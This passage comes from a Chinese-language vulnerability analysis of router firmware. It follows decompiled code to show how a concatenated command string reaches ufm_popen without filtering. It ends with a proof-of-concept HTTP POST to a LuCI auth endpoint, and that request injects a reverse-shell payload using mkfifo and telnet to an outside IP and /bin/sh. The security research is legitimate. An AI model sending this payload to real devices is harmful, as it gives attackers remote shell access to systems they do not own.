......
      v74 = *(_DWORD *)(*a1 + 4);
      v75 = strcmp(v74, "set");
      v76 = *((unsigned __int8 *)a1 + 19);
      if ( (!v75 || !strcmp(v74, 0x41FBF4) || a3) && *((_BYTE *)a1 + 4) )
      {
......
      }
      else
      {
        v18 = ufm_commit_add(0, v66, 0, a2);//此处的v66是上面拼接后的最终命令
      }

ufm_commit_add 函数最开始直接调用了 async_cmd_push_queue 函数,下面对该函数进行分析

c 复制代码
int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
  v3 = a3;
......
  memset(v6, 0, 68);
  if ( !a1 )//a1是传入进来的0
  {
    if ( a2 )//a2是注入的命令字符串
    {
      v19 = strdup(a2);                         // 会走到这里
      *(_DWORD *)(v7 + 28) = v19;//将命令存储到偏移28的位置,这里比较重要 
      if ( v19 )
        goto LABEL_34;                          // 会从这里跳转
......        
    }
  }
......
LABEL_34:
  v20 = (_DWORD *)dword_435DE0;
  *(_DWORD *)(v7 + 60) = &commit_task_head;
  dword_435DE0 = v7 + 60;
  v21 = dword_4360A4;
  *(_DWORD *)(v7 + 64) = v20;
  *v20 = v7 + 60;
  dword_4360A4 = v21 + 1;
  *(_BYTE *)(v7 + 32) = v3;
  if ( !v3 )
    sem_init(v7 + 36, 0, 0);
  pthread_mutex_unlock(&unk_4360B8);
  sem_post(&unk_4360A8);//这里将信号量加上了1,意味着其他地方应该是有sem_wait阻塞了一个线程的执行
  return v7;
}

切换线程-命令执行

对信号量 unk_4360A8 进行交叉引用,定位到了 sub_41AFC8 函数。只要上面的代码执行sem_pos 将该信号量加一,那么这个线程就能继续运行,从而调用 sub_41ADF0 函数(调试这里需要取消线程锁定)

c 复制代码
void __fastcall __noreturn sub_41AFC8(int a1)
{
......
  while ( 1 )
  {
    do
    {
      sem_wait(&unk_4360A8);
......
    }
    while ( !v4 );
......
    sub_41ADF0(v4);
......
  }
}

下面对 sub_41ADF0 函数做简单的分析

c 复制代码
int __fastcall sub_41ADF0(_DWORD *a1)
{
  v1 = *a1;
  if ( *a1 )//为0 进不去这个if
  {
......   
  }
  else
  {
    if ( !*((_BYTE *)a1 + 32) )//*((_BYTE *)a1 + 32)为0,可以进入if
    {
      result = ufm_popen((const char *)a1[7], a1 + 13);//这个a1[7],也就是偏移28的位置,上文中提到最后拼接的命令就被写入了一个结构体偏移28的位置,因此这里触发命令执行,且没有做任何过滤
      v3 = a1;
      goto LABEL_9;
    }
  }
  return result;
}

POC

http 复制代码
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

{
	"method": "merge",
	"params": {
		"sorry": "'$(mkfifo /tmp/test;telnet 192.168.157.148 6666 0</tmp/test|/bin/sh > /tmp/test)'"
	}
}

上面对 lua 文件以及二进制文件的调用链进行了分析和调试.

相关推荐
暗流者4 天前
ctf wiki中kernel pwn 学习编译内核(2026年最新版)
学习·安全·网络安全·pwn
saulgoodman-q13 天前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
kali-Myon23 天前
快速解决 Docker 环境中无法打开 gdb 调试窗口以及 tmux 中无法滚动页面内容和无法选中复制的问题
运维·安全·docker·容器·gdb·pwn·tmux
saulgoodman-q23 天前
Pwncollege V8 Exploitation (中)
pwn·ctf
山川绿水1 个月前
bugku overflow
网络安全·pwn·安全架构
saulgoodman-q1 个月前
Pwncollege V8 Exploitation (上)
pwn·ctf
Claire_ccat2 个月前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出
kali-Myon3 个月前
NewStarCTF2025-Week2-Pwn
算法·安全·gdb·pwn·ctf·栈溢出
爱隐身的官人3 个月前
PWN环境配置
windows·pwn·ctf